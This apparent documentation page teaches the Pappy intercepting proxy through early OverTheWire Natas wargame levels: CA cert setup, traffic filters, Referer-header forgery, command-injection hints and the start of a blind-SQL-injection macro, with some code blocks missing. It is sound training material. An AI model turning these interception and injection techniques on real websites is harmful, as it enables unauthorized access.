<li><aclass="reference internal"href="#finding-your-passwords-later-how-to-use-filters"id="id17">Finding Your Passwords Later (How to Use Filters)</a><ul>
<h2><aclass="toc-backref"href="#id1">Getting Set Up</a><aclass="headerlink"href="#getting-set-up"title="Permalink to this headline">¶</a></h2>
<divclass="section"id="introduction">
<h3><aclass="toc-backref"href="#id2">Introduction</a><aclass="headerlink"href="#introduction"title="Permalink to this headline">¶</a></h3>
<p>This is a quick tutorial to get you started using Pappy like a pro. To do this, we’ll be going through from <aclass="reference external"href="http://overthewire.org/wargames/natas/">Natas</a>. If you haven’t done it yet and don’t want it spoiled, I suggest giving it a try with Burp since we’ll be telling you all the answers right off the bat.</p>
</div>
<divclass="section"id="getting-started">
<h3><aclass="toc-backref"href="#id3">Getting Started</a><aclass="headerlink"href="#getting-started"title="Permalink to this headline">¶</a></h3>
<p>The first thing you’ll need to do is get Pappy installed.</p>
<p>If you look at what’s in the directory, you’ll notice that there’s a <codeclass="docutils literal"><spanclass="pre">data.db</span></code> file and a <codeclass="docutils literal"><spanclass="pre">config.json</span></code> file.</p>
<ulclass="simple">
<li><codeclass="docutils literal"><spanclass="pre">data.db</span></code> is a SQLite file that stores all the (in-scope) requests that pass through the proxy</li>
<li><codeclass="docutils literal"><spanclass="pre">config.json</span></code> stores settings for the proxy</li>
</ul>
<p>You don’t need to touch either of these right now. Just hop back into Pappy.</p>
<h3><aclass="toc-backref"href="#id4">Installing Pappy’s CA Cert</a><aclass="headerlink"href="#installing-pappy-s-ca-cert"title="Permalink to this headline">¶</a></h3>
<p>In order to intercept HTTPS requests, you’ll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.</p>
<p>To generate certificates, you’ll use the <codeclass="docutils literal"><spanclass="pre">gencerts</span></code> command. This will generate certificates in Pappy’s directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.:</p>
This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
(y/N) y
Generating certs to /home/anonymouse/pappy/pappyproxy/certs
Generating private key... Done!
Generating client cert... Done!
pappy>
</pre></div>
</div>
<p>The directory that the certs get put in may be different for you. Next, you’ll need to add the generated <codeclass="docutils literal"><spanclass="pre">certificate.crt</span></code> file to your browser. This is different for each browser.</p>
<h4><aclass="toc-backref"href="#id5">Installing the Cert in Firefox</a><aclass="headerlink"href="#installing-the-cert-in-firefox"title="Permalink to this headline">¶</a></h4>
<olclass="arabic simple">
<li>Open Firefox</li>
<li>Go to <codeclass="docutils literal"><spanclass="pre">Preferences</span><spanclass="pre">-></span><spanclass="pre">Advanced</span><spanclass="pre">-></span><spanclass="pre">View</span><spanclass="pre">Certificates</span><spanclass="pre">-></span><spanclass="pre">Authorities</span></code></li>
<li>Navigate to the directory where the certs were generated and double click <codeclass="docutils literal"><spanclass="pre">certificate.crt</span></code></li>
<h4><aclass="toc-backref"href="#id6">Installing the Cert in Chrome</a><aclass="headerlink"href="#installing-the-cert-in-chrome"title="Permalink to this headline">¶</a></h4>
<olclass="arabic simple">
<li>Open Chrome</li>
<li>Go to <codeclass="docutils literal"><spanclass="pre">Preferences</span><spanclass="pre">-></span><spanclass="pre">Show</span><spanclass="pre">advanced</span><spanclass="pre">settings</span><spanclass="pre">-></span><spanclass="pre">HTTPS/SSL</span><spanclass="pre">-></span><spanclass="pre">Manage</span><spanclass="pre">Certificates</span><spanclass="pre">-></span><spanclass="pre">Authorities</span></code></li>
<li>Navigate to the directory where the certs were generated and double click <codeclass="docutils literal"><spanclass="pre">certificate.crt</span></code></li>
<h4><aclass="toc-backref"href="#id7">Installing the Cert in Safari</a><aclass="headerlink"href="#installing-the-cert-in-safari"title="Permalink to this headline">¶</a></h4>
<olclass="arabic simple">
<li>Use Finder to navigate to the directory where the certs were generated</li>
<li>Double click the cert and follow the prompts to add it to your system keychain</li>
<h4><aclass="toc-backref"href="#id8">Installing the Cert in Internet Explorer</a><aclass="headerlink"href="#installing-the-cert-in-internet-explorer"title="Permalink to this headline">¶</a></h4>
<olclass="arabic simple">
<li>No.</li>
</ol>
</div>
</div>
<divclass="section"id="configuring-your-browser">
<h3><aclass="toc-backref"href="#id9">Configuring Your Browser</a><aclass="headerlink"href="#configuring-your-browser"title="Permalink to this headline">¶</a></h3>
<p>Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won’t cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in <codeclass="docutils literal"><spanclass="pre">config.json</span></code>, but don’t worry about that right now.</p>
<divclass="admonition note">
<pclass="first admonition-title">Note</p>
<pclass="last">Configure your browser extension to use the proxy server at <strong>loalhost</strong> on <strong>port 8000</strong></p>
</div>
<p>Here are some proxy plugins that should work</p>
<h3><aclass="toc-backref"href="#id10">Testing it Out</a><aclass="headerlink"href="#testing-it-out"title="Permalink to this headline">¶</a></h3>
<p>Start up Pappy in Lite mode by running <codeclass="docutils literal"><spanclass="pre">pappy</span><spanclass="pre">-l</span></code>, enable the proxy in your browser, then navigate to a website:</p>
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
8 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.21 --
7 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.22 --
6 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 0.29 --
5 GET vitaly.sexy /netscape.gif 200 OK 0 1135 0.22 --
4 GET vitaly.sexy /construction.gif 200 OK 0 28366 0.26 --
3 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 1.34 --
2 GET vitaly.sexy / 200 OK 0 1201 0.21 --
1 GET vitaly.sexy / 301 Moved Permanently 0 178 0.27 --
pappy> quit
Deleting temporary datafile
</pre></div>
</div>
<p>Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!</p>
</div>
</div>
<divclass="section"id="the-tutorial">
<h2><aclass="toc-backref"href="#id11">The Tutorial</a><aclass="headerlink"href="#the-tutorial"title="Permalink to this headline">¶</a></h2>
<divclass="section"id="setting-the-scope">
<h3><aclass="toc-backref"href="#id12">Setting the Scope</a><aclass="headerlink"href="#setting-the-scope"title="Permalink to this headline">¶</a></h3>
<p>The first thing we’ll do is set up Pappy so that it only intercepts requests going to <codeclass="docutils literal"><spanclass="pre">*.natas.labs.overthewire.org</span></code>:</p>
<li>Make the current context only include requests whose host ends in <codeclass="docutils literal"><spanclass="pre">natas.labs.overthewire.org</span></code>.</li>
<li>Save the current context as the scope</li>
</ol>
<p>The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp <codeclass="docutils literal"><spanclass="pre">natas\.labs\.overthewire\.org$</span></code>. When we save the scope, we’re saying that any request that doesn’t pass this regexp is out of scope and shouldn’t be touched.</p>
<p>If this doesn’t make sense, don’t worry, we’ll come back to this.</p>
</div>
<divclass="section"id="natas-0">
<h3><aclass="toc-backref"href="#id13">Natas 0</a><aclass="headerlink"href="#natas-0"title="Permalink to this headline">¶</a></h3>
<p>First, go to <aclass="reference external"href="http://natas0.natas.labs.overthewire.org">http://natas0.natas.labs.overthewire.org</a> and log in with the default creds of <codeclass="docutils literal"><spanclass="pre">natas0</span></code> / <codeclass="docutils literal"><spanclass="pre">natas0</span></code>. You should see a site that says “You can find the password for the next level on this page”. You don’t need Pappy for this one.</p>
<olclass="arabic simple">
<li>Right click the page and select “view source”</li>
<li>Read the password for natas1</li>
<li>Visit <aclass="reference external"href="http://natas1.natas.labs.overthewire.org">http://natas1.natas.labs.overthewire.org</a> and log in with the username <codeclass="docutils literal"><spanclass="pre">natas1</span></code> and the password you found.</li>
</ol>
</div>
<divclass="section"id="natas-1">
<h3><aclass="toc-backref"href="#id14">Natas 1</a><aclass="headerlink"href="#natas-1"title="Permalink to this headline">¶</a></h3>
<p>Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There’s still ways to view the source in the browser, but we’ll use Pappy here. The commands we’ll learn here are <codeclass="docutils literal"><spanclass="pre">ls</span></code>, <codeclass="docutils literal"><spanclass="pre">vfq</span></code>, and <codeclass="docutils literal"><spanclass="pre">vfs</span></code>.</p>
<ulclass="simple">
<li><codeclass="docutils literal"><spanclass="pre">ls</span></code> lists the most current requests that are in the current context. You’ll be using this a lot to get the IDs of requests you want to do things with.</li>
<li><codeclass="docutils literal"><spanclass="pre">vfq</span><spanclass="pre"><reqid></span></code> prints the full request of a request you specify</li>
<li><codeclass="docutils literal"><spanclass="pre">vfs</span><spanclass="pre"><reqid></span></code> prints the full response to a request you specify</li>
</ul>
<p>So to solve natas1, we’ll want to view the full response to our request to the page:</p>
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
16 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
15 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
12 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
11 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
10 GET natas.labs.overthewire.org /img/wechall.gif 200 OK 0 9279 0.28 --
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
8 GET natas.labs.overthewire.org /js/wechall-data.js 200 OK 0 564 0.48 --
7 GET natas.labs.overthewire.org /js/jquery-ui.js 200 OK 0 435844 1.37 --
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
4 GET natas.labs.overthewire.org /css/wechall.css 200 OK 0 677 0.48 --
5 GET natas.labs.overthewire.org /css/jquery-ui.css 200 OK 0 32046 0.49 --
3 GET natas.labs.overthewire.org /css/level.css 200 OK 0 1332 0.48 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
pappy> vfs 14
HTTP/1.1 200 OK
Date: Fri, 18 Dec 2015 19:47:21 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT
ETag: "427-507cf258a5240-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 1063
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
... snip ...
<!--The password for natas2 is [password] -->
... snip ...
pappy>
</pre></div>
</div>
<p>Yay!</p>
</div>
<divclass="section"id="natas-2">
<h3><aclass="toc-backref"href="#id15">Natas 2</a><aclass="headerlink"href="#natas-2"title="Permalink to this headline">¶</a></h3>
<p>When you visit this page, you get a message saying “There is nothing on this page”. That is probably a blatant lie. Let’s see what was in that response.:</p>
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
27 GET natas2.natas.labs.overthewire.org / 200 OK 0 872 0.27 --
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
... snip ...
pappy> vfs 27
HTTP/1.1 200 OK
... snip ...
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>
pappy>
</pre></div>
</div>
<p>So the only suspicious thing is <codeclass="docutils literal"><spanclass="pre"><img</span><spanclass="pre">src="files/pixel.png"></span></code>. I’ll let you figure out the rest ;)</p>
</div>
<divclass="section"id="natas-3">
<h3><aclass="toc-backref"href="#id16">Natas 3</a><aclass="headerlink"href="#natas-3"title="Permalink to this headline">¶</a></h3>
<p>This one doesn’t require Pappy. Just view the <codeclass="docutils literal"><spanclass="pre">robots.txt</span></code> file.</p>
<h3><aclass="toc-backref"href="#id17">Finding Your Passwords Later (How to Use Filters)</a><aclass="headerlink"href="#finding-your-passwords-later-how-to-use-filters"title="Permalink to this headline">¶</a></h3>
<p>This section will explain how to use Pappy’s filters to find passwords to levels you’ve already completed. Every in-scope request and response that goes through Pappy is stored in the <codeclass="docutils literal"><spanclass="pre">data.db</span></code> file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.</p>
<divclass="section"id="filters">
<h4><aclass="toc-backref"href="#id18">Filters</a><aclass="headerlink"href="#filters"title="Permalink to this headline">¶</a></h4>
<p>Here are the commands we’ll learn:</p>
<olclass="arabic simple">
<li><codeclass="docutils literal"><spanclass="pre">filter</span><spanclass="pre"><filter</span><spanclass="pre">string></span></code> / <codeclass="docutils literal"><spanclass="pre">f</span><spanclass="pre"><filter</span><spanclass="pre">string></span></code> Add a filter that limits which requests are included in the current context</li>
<li><codeclass="docutils literal"><spanclass="pre">fu</span></code> Remove the most recently applied filter</li>
<li><codeclass="docutils literal"><spanclass="pre">sr</span></code> Reset the context so that it matches the scope</li>
<li><codeclass="docutils literal"><spanclass="pre">filter_clear</span></code> Remove all filters from the context, including the filters applied by the scope</li>
<li><codeclass="docutils literal"><spanclass="pre">fls</span></code> Show all currently applied filters</li>
</ol>
<p>The most complicated of these is the <codeclass="docutils literal"><spanclass="pre">filter</span></code> command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn’t pass the filter will be removed from the context. Most filter strings are of the format <codeclass="docutils literal"><spanclass="pre"><field></span><spanclass="pre"><comparer></span><spanclass="pre"><value></span></code>. For example:</p>
<p>This filter will only match requests whose host is exactly <codeclass="docutils literal"><spanclass="pre">www.target.org</span></code>. When defining our scope, we applied a filter using a <codeclass="docutils literal"><spanclass="pre">containsr</span></code> comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:</p>
<p>Commonly used fields</p>
<ulclass="simple">
<li><codeclass="docutils literal"><spanclass="pre">all</span></code> The full text of the request and the response</li>
<li><codeclass="docutils literal"><spanclass="pre">host</span></code> The hostname of where the request is sent</li>
<li><codeclass="docutils literal"><spanclass="pre">path</span></code> The target path of the request. ie <codeclass="docutils literal"><spanclass="pre">/path/to/page.php</span></code></li>
<li><codeclass="docutils literal"><spanclass="pre">verb</span></code> The HTTP verb. ie <codeclass="docutils literal"><spanclass="pre">POST</span></code> or <codeclass="docutils literal"><spanclass="pre">GET</span></code> (case sensitive!)</li>
<li><codeclass="docutils literal"><spanclass="pre">body</span></code> The data section (the body) of either the request or the response</li>
</ul>
<p>Commonly used comparers</p>
<ulclass="simple">
<li><codeclass="docutils literal"><spanclass="pre">is</span><spanclass="pre"><value></span></code> The field exactly matches the value</li>
<li><codeclass="docutils literal"><spanclass="pre">contains</span><spanclass="pre"><value></span></code> / <codeclass="docutils literal"><spanclass="pre">ct</span><spanclass="pre"><value></span></code> The field contains a value</li>
<li><codeclass="docutils literal"><spanclass="pre">containsr</span><spanclass="pre"><regexp></span></code> / <codeclass="docutils literal"><spanclass="pre">ctr</span><spanclass="pre"><regexp></span></code> The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line</li>
</ul>
<p>You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.</p>
<p>Once you’ve applied some filters, <codeclass="docutils literal"><spanclass="pre">ls</span></code> will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use <codeclass="docutils literal"><spanclass="pre">sr</span></code>. If you want to remove the last applied filter, use <codeclass="docutils literal"><spanclass="pre">fu</span></code>.</p>
</div>
<divclass="section"id="finding-passwords">
<h4><aclass="toc-backref"href="#id19">Finding Passwords</a><aclass="headerlink"href="#finding-passwords"title="Permalink to this headline">¶</a></h4>
<p>While we can’t find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly</p>
<p>For natas0 and natas1, the responses had a phrase like “the password is abc123”. So we can filter out anything that doesn’t have the word “password” in it.:</p>
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
50 GET natas4.natas.labs.overthewire.org / 200 OK 0 1019 0.27 --
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
48 GET natas3.natas.labs.overthewire.org /s3cr3t/users.txt 200 OK 0 40 0.27 --
46 GET natas3.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.53 --
47 GET natas3.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.53 --
45 GET natas3.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.53 --
44 GET natas3.natas.labs.overthewire.org /s3cr3t/ 200 OK 0 957 0.26 --
43 GET natas3.natas.labs.overthewire.org /s3cr3t 301 Moved Permanently 0 354 0.27 --
42 GET natas3.natas.labs.overthewire.org /robots.txt 200 OK 0 33 0.29 --
41 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
40 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.28 --
39 GET natas3.natas.labs.overthewire.org / 200 OK 0 923 0.26 --
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
36 GET natas2.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.47 --
35 GET natas2.natas.labs.overthewire.org /icons/image2.gif 200 OK 0 309 0.47 --
34 GET natas2.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.47 --
33 GET natas2.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.47 --
32 GET natas2.natas.labs.overthewire.org /files/ 200 OK 0 1153 0.26 --
31 GET natas2.natas.labs.overthewire.org /files 301 Moved Permanently 0 353 0.27 --
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
pappy> f body ct password
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
20 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.47 --
24 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
17 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.30 --
14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
pappy>
</pre></div>
</div>
<p>It looks like requests 2 and 14 are the ones we’re looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use <codeclass="docutils literal"><spanclass="pre">vfs</span></code> to look at the response and you’ll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).</p>
<p>Anyways, back to Natas!</p>
</div>
</div>
<divclass="section"id="natas-4">
<h3><aclass="toc-backref"href="#id20">Natas 4</a><aclass="headerlink"href="#natas-4"title="Permalink to this headline">¶</a></h3>
<p>When we visit this page, we get an error saying that they will only display the password if we visit from <codeclass="docutils literal"><spanclass="pre">http://natas5.natas.labs.overthewire.org/</span></code>. How does a website track where you came from? The Referer header! Where’s that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we’re golden.</p>
<p>To do this, we’ll be using Pappy’s interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we’re going to learn:</p>
<ulclass="simple">
<li><codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre"><req|rsp>+</span></code> Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">req</span></code> will only intercept requests, <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">rsp</span></code> will only intercept responses, and <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">req</span><spanclass="pre">rsp</span></code> will intercept both.</li>
</ul>
<p>In this case, we only want to intercept requests, so we’ll run <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">req</span></code>:</p>
Press 'n' to edit the next item or 'q' to quit interceptor.
</pre></div>
</div>
<p>Now refresh the page in your browser. The page will hang like it’s taking a long time to load. Go back to Pappy, and now the interceptor will say something like:</p>
Press 'n' to edit the next item or 'q' to quit interceptor.
</pre></div>
</div>
<p>Press <codeclass="docutils literal"><spanclass="pre">n</span></code> and the request will be opened for editing! Which editor is used is defined by the <codeclass="docutils literal"><spanclass="pre">EDITOR</span></code> environment variable. Use the text editor to add a <codeclass="docutils literal"><spanclass="pre">Referer</span></code> header (note that there’s only one r):</p>
<p>Save and quit, then press <codeclass="docutils literal"><spanclass="pre">q</span></code> to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!</p>
<p>Now if you run ls, you’ll notice that the request we made has a <codeclass="docutils literal"><spanclass="pre">q</span></code> in the <codeclass="docutils literal"><spanclass="pre">Mngl</span></code> column. This means that we mangled the request. If there’s an <codeclass="docutils literal"><spanclass="pre">s</span></code> in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request <codeclass="docutils literal"><spanclass="pre">12</span></code> by using the id <codeclass="docutils literal"><spanclass="pre">u12</span></code>.</p>
</div>
<divclass="section"id="natas-5">
<h3><aclass="toc-backref"href="#id21">Natas 5</a><aclass="headerlink"href="#natas-5"title="Permalink to this headline">¶</a></h3>
<p>This one starts with a screen saying you’re not logged in. This is fine. For this one, you’ll need to use the interceptor to edit the value of a cookie. I’ll let you figure that one out.</p>
</div>
<divclass="section"id="natas-6">
<h3><aclass="toc-backref"href="#id22">Natas 6</a><aclass="headerlink"href="#natas-6"title="Permalink to this headline">¶</a></h3>
<p>This one you should be able to get</p>
</div>
<divclass="section"id="natas-7">
<h3><aclass="toc-backref"href="#id23">Natas 7</a><aclass="headerlink"href="#natas-7"title="Permalink to this headline">¶</a></h3>
<p>You should get this one. Note the hint on the <aclass="reference external"href="http://overthewire.org/wargames/natas/">overthewire website</a>: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.</p>
</div>
<divclass="section"id="natas-8">
<h3><aclass="toc-backref"href="#id24">Natas 8</a><aclass="headerlink"href="#natas-8"title="Permalink to this headline">¶</a></h3>
<p>You should be able to get this one. If it sucks, google it.</p>
</div>
<divclass="section"id="natas-9">
<h3><aclass="toc-backref"href="#id25">Natas 9</a><aclass="headerlink"href="#natas-9"title="Permalink to this headline">¶</a></h3>
<p>For this one, when you view the source you’ll notice they’re taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:</p>
<ulclass="simple">
<li><codeclass="docutils literal"><spanclass="pre">rp</span><spanclass="pre"><reqid></span></code> Open the vim repeater with the given request</li>
<li><codeclass="docutils literal"><spanclass="pre"><leader>f</span></code> (In the repeater) forward the request</li>
</ul>
<divclass="admonition note">
<pclass="first admonition-title">Note</p>
<pclass="last">Use <codeclass="docutils literal"><spanclass="pre">:wq!</span></code> to quit the repeater without having to save buffers</p>
</div>
<divclass="admonition note">
<pclass="first admonition-title">Note</p>
<pclass="last">You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key <aclass="reference external"href="https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file">here</a>. By default <leader> is bound to <codeclass="docutils literal"><spanclass="pre">\</span></code>.</p>
</div>
<p>Submit a request then open that request in the repeater:</p>
196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 --
195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 --
... snip ...
pappy> rp 196
</pre></div>
</div>
<p>Vim will open up in a vertical split with the request on the left and the response on the right.</p>
<p>In the repeater, you edit the response on the left, then press the <codeclass="docutils literal"><spanclass="pre"><leader></span></code> key then <codeclass="docutils literal"><spanclass="pre">f</span></code> to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.</p>
<p>In this case, we’ll be editing the <codeclass="docutils literal"><spanclass="pre">needle</span></code> get parameter. Try changing “ball” to “bill” and submitting it. You’ll notice that the output in the right window changes to contain words that have the word “bill” in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.</p>
<p>Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).</p>
</div>
<divclass="section"id="skip-a-few-natas-15">
<h3><aclass="toc-backref"href="#id26">Skip a few... Natas 15</a><aclass="headerlink"href="#skip-a-few-natas-15"title="Permalink to this headline">¶</a></h3>
<p>All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you’ll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you’re lazy and don’t want to actually do the challenges, google the password for natas15 then come back.</p>
<p>Commands we’ll learn:</p>
<ulclass="simple">
<li><codeclass="docutils literal"><spanclass="pre">gma</span><spanclass="pre"><name></span><spanclass="pre"><reqid(s)></span></code> Generate a macro with objects pre-defined for the given requests</li>
<li><codeclass="docutils literal"><spanclass="pre">rma</span><spanclass="pre"><name></span><spanclass="pre">[args]</span></code> Run a macro, optionally with arguments</li>
</ul>
<p>So the first thing we’ll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn’t exist. Now we’ll generate a macro and use that request as a base for our script:</p>
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
224 POST natas15.natas.labs.overthewire.org /index.php 200 OK 14 937 0.27 --
223 POST natas15.natas.labs.overthewire.org /index.php 200 OK 12 937 0.27 --
222 GET natas15.natas.labs.overthewire.org /index-source.html 200 OK 0 3325 0.28 --
221 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.25 --
220 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.27 --
219 GET natas15.natas.labs.overthewire.org / 200 OK 0 1049 0.37 --
218 GET natas15.natas.labs.overthewire.org / 401 Unauthorized 0 480 0.27 --
... snip ...
pappy> gma brute 224
Wrote script to macro_brute.py
pappy>
</pre></div>
</div>
<p>Now open up <codeclass="docutils literal"><spanclass="pre">macro_brute.py</span></code> in your favorite text editor. You should have a script that looks like this:</p>
<p>Pappy will generate a script and create a <codeclass="docutils literal"><spanclass="pre">Request</span></code> object that you can use. Check out the real documentation to see everything you can do with a <codeclass="docutils literal"><spanclass="pre">Request</span></code> object. For now you just need to know a few things about it:</p>
<ulclass="simple">
<li><aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request.submit"title="pappyproxy.http.Request.submit"><codeclass="xref py py-func docutils literal"><spanclass="pre">submit()</span></code></a> Submit the request and store the response object</li>
<li><aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request.save"title="pappyproxy.http.Request.save"><codeclass="xref py py-func docutils literal"><spanclass="pre">save()</span></code></a> Save the request/response to the data file</li>
<li><codeclass="docutils literal"><spanclass="pre">post_params</span></code> A <aclass="reference internal"href="pappyproxy.html#pappyproxy.http.RepeatableDict"title="pappyproxy.http.RepeatableDict"><codeclass="xref py py-class docutils literal"><spanclass="pre">RepeatableDict</span></code></a> that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.</li>
</ul>
<p>It is suggested you go through the documentation to learn the rest of the attributes/functions.</p>
<p>To start out simple, we’ll write a macro that lets us check a username from the Pappy console. To define a function, you define the <codeclass="docutils literal"><spanclass="pre">run_macro</span></code> function. The function is passed a list of arguments which represent the arguments entered. Here a <codeclass="docutils literal"><spanclass="pre">run_macro</span></code> function that we can define that will check if a user exists:</p>
<spanclass="n">to_check</span><spanclass="o">=</span><spanclass="n">args</span><spanclass="p">[</span><spanclass="mi">0</span><spanclass="p">]</span><spanclass="c1"># get the username to check</span>
<spanclass="n">r</span><spanclass="o">=</span><spanclass="n">req1</span><spanclass="o">.</span><spanclass="n">copy</span><spanclass="p">()</span><spanclass="c1"># make a copy of the base request</span>
<spanclass="n">r</span><spanclass="o">.</span><spanclass="n">post_params</span><spanclass="p">[</span><spanclass="s1">'username'</span><spanclass="p">]</span><spanclass="o">=</span><spanclass="n">to_check</span><spanclass="c1"># set the username param of the request</span>
<spanclass="n">r</span><spanclass="o">.</span><spanclass="n">submit</span><spanclass="p">()</span><spanclass="c1"># submit the request</span>
<spanclass="k">if</span><spanclass="s2">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span><spanclass="c1"># check if the username is valid</span>
<spanclass="k">print</span><spanclass="s2">"</span><spanclass="si">%s</span><spanclass="s2"> is not a user"</span><spanclass="o">%</span><spanclass="n">to_check</span>
<spanclass="k">print</span><spanclass="s2">"</span><spanclass="si">%s</span><spanclass="s2"> is a user!"</span><spanclass="o">%</span><spanclass="n">to_check</span>
